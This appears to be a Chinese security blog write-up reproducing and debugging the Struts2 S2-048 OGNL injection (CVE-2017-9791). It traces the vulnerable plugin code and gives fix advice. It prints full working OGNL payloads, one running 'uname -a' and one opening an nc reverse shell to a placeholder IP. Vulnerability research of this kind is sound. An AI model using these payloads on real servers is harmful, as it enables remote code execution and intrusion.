漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791)

124 阅读2分钟

图片

Strtus2-048


一、漏洞描述:

ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action 构造payload。

二、影响版本:

Struts 2.3.x with Struts 1 plugin and Struts 1 action

三、漏洞复现:

S2-048漏洞问题出现在struts2-struts1-plugin-2.3.32.jar 插件,这个插件的作用是可以让struts2能够兼容struts1的代码。

struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java

图片

首先调用对应的action处理请求,处理完成后会产生消息,进入了getText方法,先跟进execute方法:

Struts1Factory strutsFactory = new Struts1Factory(Dispatcher.getInstance().getConfigurationManager().getConfiguration());
ActionMapping mapping = strutsFactory.createActionMapping(actionConfig);
HttpServletRequest request = ServletActionContext.getRequest();
HttpServletResponse response = ServletActionContext.getResponse();
ActionForward forward = action.execute(mapping, this.actionForm, request, response);
ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE");
if (messages != null) {
    Iterator i = messages.get();

    label36:
    while(true) {
        while(true) {
            if (!i.hasNext()) {
                break label36;
            }

            ActionMessage msg = (ActionMessage)i.next();
            if (msg.getValues() != null && msg.getValues().length > 0) {
                this.addActionMessage(this.getText(msg.getKey(), Arrays.asList(msg.getValues())));
            } else {
                this.addActionMessage(this.getText(msg.getKey()));
            }
        }
    }
}

找到action.execute(mapping, this.actionForm, request, response);这个action类方法的execute具体的实现代码:

进入详细的execte具体的方法代码:

public ActionForward execute(ActionMapping mapping, ActionForm form, ServletRequest request, ServletResponse response) throws Exception {
    try {
        return this.execute(mapping, form, (HttpServletRequest)request, (HttpServletResponse)response);
    } catch (ClassCastException var6) {
        return null;
    }
}

public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    return null;
}
src/apps/showcase/src/main/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java

图片

@Override
public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {

   // Some code to save the gangster to the db as necessary
   GangsterForm gform = (GangsterForm) form;
   ActionMessages messages = new ActionMessages();
   messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));
   addMessages(request, messages);

   return mapping.findForward("success");
}

前台对应页面:

图片

gform.getName()类似于$_POST['name'],直接将用户输入进行拼接。

struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java

网页执行POC

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname  -a').getInputStream())).(#q)}

图片

断点调试:

图片

具体执行的命令:

图片

可以看到ognl表达是已经传入,接下来就是ognl的解析执行了。

图片

执行成功:

图片

和系统的uname -a一致

图片

换一个方式:执行反弹shell

反弹:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('nc -e /bin/bash XX.XX.XX.XX 34567').getInputStream())).(#q)}

图片

断点调试获取反弹的信息:

图片

成功执行:

图片

成功获取shell

图片

四、漏洞修复:

1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

3、 解决方案:建议升级到最新版本。

参考:

seaii-blog.com/index.php/2…

blog.csdn.net/qq\_2964770…

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

图片

个人知乎:www.zhihu.com/people/fu-w…

个人简书:www.jianshu.com/u/bf0e38a8d…